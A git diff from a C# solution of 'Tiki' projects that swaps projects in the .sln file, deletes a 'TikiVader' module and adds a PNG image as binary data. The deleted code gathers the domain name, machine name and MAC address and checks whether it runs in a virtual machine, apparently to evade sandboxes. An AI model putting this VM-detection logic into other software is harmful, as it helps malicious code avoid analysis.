"{8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}" -EndProject -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiService", "TikiService\TikiService.csproj", "{FC700AC6-5182-421F-8853-0AD18CDBEB39}" +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TikiSpawn", "TikiSpawn\TikiSpawn.csproj", "{50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}" EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution @@ -29,42 +17,6 @@ Global Release|x86 = Release|x86 EndGlobalSection GlobalSection(ProjectConfigurationPlatforms) = postSolution - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Debug|Any CPU.Build.0 = Debug|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Debug|x64.ActiveCfg = Debug|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Debug|x64.Build.0 = Debug|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Debug|x86.ActiveCfg = Debug|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Debug|x86.Build.0 = Debug|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Release|Any CPU.ActiveCfg = Release|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Release|Any CPU.Build.0 = Release|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Release|x64.ActiveCfg = Release|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Release|x64.Build.0 = Release|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Release|x86.ActiveCfg = Release|Any CPU - {97421325-B6D8-49E5-ADF0-E2126ABC17EE}.Release|x86.Build.0 = Release|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Debug|Any CPU.Build.0 = Debug|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Debug|x64.ActiveCfg = Debug|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Debug|x64.Build.0 = Debug|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Debug|x86.ActiveCfg = Debug|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Debug|x86.Build.0 = Debug|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Release|Any CPU.ActiveCfg = Release|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Release|Any CPU.Build.0 = Release|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Release|x64.ActiveCfg = Release|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Release|x64.Build.0 = Release|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Release|x86.ActiveCfg = Release|Any CPU - {1F707405-9708-4A34-A809-2C62B84D4F0A}.Release|x86.Build.0 = Release|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Debug|Any CPU.Build.0 = Debug|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Debug|x64.ActiveCfg = Debug|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Debug|x64.Build.0 = Debug|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Debug|x86.ActiveCfg = Debug|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Debug|x86.Build.0 = Debug|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Release|Any CPU.ActiveCfg = Release|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Release|Any CPU.Build.0 = Release|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Release|x64.ActiveCfg = Release|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Release|x64.Build.0 = Release|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Release|x86.ActiveCfg = Release|Any CPU - {2EF9D8F7-6B77-4B75-822B-6A53A922C30F}.Release|x86.Build.0 = Release|Any CPU {806C6C72-4ADC-43D9-B028-6872FA48D334}.Debug|Any CPU.ActiveCfg = Debug|Any CPU {806C6C72-4ADC-43D9-B028-6872FA48D334}.Debug|Any CPU.Build.0 = Debug|Any CPU {806C6C72-4ADC-43D9-B028-6872FA48D334}.Debug|x64.ActiveCfg = Debug|Any CPU @@ -77,54 +29,18 @@ Global {806C6C72-4ADC-43D9-B028-6872FA48D334}.Release|x64.Build.0 = Release|Any CPU {806C6C72-4ADC-43D9-B028-6872FA48D334}.Release|x86.ActiveCfg = Release|Any CPU {806C6C72-4ADC-43D9-B028-6872FA48D334}.Release|x86.Build.0 = Release|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Debug|Any CPU.Build.0 = Debug|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Debug|x64.ActiveCfg = Debug|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Debug|x64.Build.0 = Debug|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Debug|x86.ActiveCfg = Debug|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Debug|x86.Build.0 = Debug|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Release|Any CPU.ActiveCfg = Release|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Release|Any CPU.Build.0 = Release|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Release|x64.ActiveCfg = Release|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Release|x64.Build.0 = Release|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Release|x86.ActiveCfg = Release|Any CPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9}.Release|x86.Build.0 = Release|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Debug|Any CPU.Build.0 = Debug|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Debug|x64.ActiveCfg = Debug|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Debug|x64.Build.0 = Debug|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Debug|x86.ActiveCfg = Debug|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Debug|x86.Build.0 = Debug|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Release|Any CPU.ActiveCfg = Release|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Release|Any CPU.Build.0 = Release|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Release|x64.ActiveCfg = Release|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Release|x64.Build.0 = Release|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Release|x86.ActiveCfg = Release|Any CPU - {06C247DA-E2E1-47F3-BC3C-DA0838A6DF1F}.Release|x86.Build.0 = Release|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Debug|Any CPU.Build.0 = Debug|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Debug|x64.ActiveCfg = Debug|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Debug|x64.Build.0 = Debug|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Debug|x86.ActiveCfg = Debug|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Debug|x86.Build.0 = Debug|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Release|Any CPU.ActiveCfg = Release|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Release|Any CPU.Build.0 = Release|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Release|x64.ActiveCfg = Release|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Release|x64.Build.0 = Release|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Release|x86.ActiveCfg = Release|Any CPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6}.Release|x86.Build.0 = Release|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Debug|Any CPU.Build.0 = Debug|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Debug|x64.ActiveCfg = Debug|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Debug|x64.Build.0 = Debug|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Debug|x86.ActiveCfg = Debug|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Debug|x86.Build.0 = Debug|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Release|Any CPU.ActiveCfg = Release|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Release|Any CPU.Build.0 = Release|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Release|x64.ActiveCfg = Release|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Release|x64.Build.0 = Release|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Release|x86.ActiveCfg = Release|Any CPU - {FC700AC6-5182-421F-8853-0AD18CDBEB39}.Release|x86.Build.0 = Release|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Debug|Any CPU.Build.0 = Debug|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Debug|x64.ActiveCfg = Debug|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Debug|x64.Build.0 = Debug|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Debug|x86.ActiveCfg = Debug|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Debug|x86.Build.0 = Debug|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Release|Any CPU.ActiveCfg = Release|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Release|Any CPU.Build.0 = Release|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Release|x64.ActiveCfg = Release|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Release|x64.Build.0 = Release|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Release|x86.ActiveCfg = Release|Any CPU + {50FFBFAD-6B98-493D-B93B-2E252FC1EF9C}.Release|x86.Build.0 = Release|Any CPU EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE diff --git a/TikiVader/ActiveDirectory.cs b/TikiVader/ActiveDirectory.cs deleted file mode 100644 index 57d25da..0000000 --- a/TikiVader/ActiveDirectory.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.DirectoryServices.ActiveDirectory; - -namespace TikiVader -{ - public class ActiveDirectory - { - public static string GetComputerDomainName() - { - Domain current = Domain.GetComputerDomain(); - return current.Name; - } - } -} \ No newline at end of file diff --git a/TikiVader/Host.cs b/TikiVader/Host.cs deleted file mode 100644 index 2a548a2..0000000 --- a/TikiVader/Host.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System; -using System.Management; - -namespace TikiVader -{ - public class Host - { - public static string GetMachineName() - { - return Environment.MachineName; - } - - public static bool IsVirtualMachine() - { - using (var searcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem")) - { - using (var items = searcher.Get()) - { - foreach (var item in items) - { - string manufacturer = item["Manufacturer"].ToString().ToLower(); - - if ((manufacturer == "microsoft corporation" && item["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) - || manufacturer.Contains("vmware") - || manufacturer.Contains("xen") - || item["Model"].ToString() == "VirtualBox") - { - return true; - } - } - } - } - - return false; - } - } -} \ No newline at end of file diff --git a/TikiVader/Network.cs b/TikiVader/Network.cs deleted file mode 100644 index 3a4fa75..0000000 --- a/TikiVader/Network.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Linq; -using System.Net.NetworkInformation; - -namespace TikiVader -{ - public class Network - { - public static string GetMACAddress() - { - NetworkInterface nic = NetworkInterface.GetAllNetworkInterfaces().First(); - return nic.GetPhysicalAddress().ToString(); - } - } -} \ No newline at end of file diff --git a/TikiVader/Properties/AssemblyInfo.cs b/TikiVader/Properties/AssemblyInfo.cs deleted file mode 100644 index 48eaf14..0000000 --- a/TikiVader/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("TikiVader")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("TikiVader")] -[assembly: AssemblyCopyright("Copyright © 2019")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("8f5f3a95-f05c-4dce-8bc3-d0a0d4153db6")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/TikiVader/TikiVader.csproj b/TikiVader/TikiVader.csproj deleted file mode 100644 index f4869bb..0000000 --- a/TikiVader/TikiVader.csproj +++ /dev/null @@ -1,52 +0,0 @@ - - - - - Debug - AnyCPU - {8F5F3A95-F05C-4DCE-8BC3-D0A0D4153DB6} - Library - Properties - TikiVader - TikiVader - v4.5 - 512 - true - - - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/modules.png b/modules.png new file mode 100644 index 0000000000000000000000000000000000000000..0cc5dfde172d14d478299fd4ff0371884670d97f GIT binary patch literal 58411 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 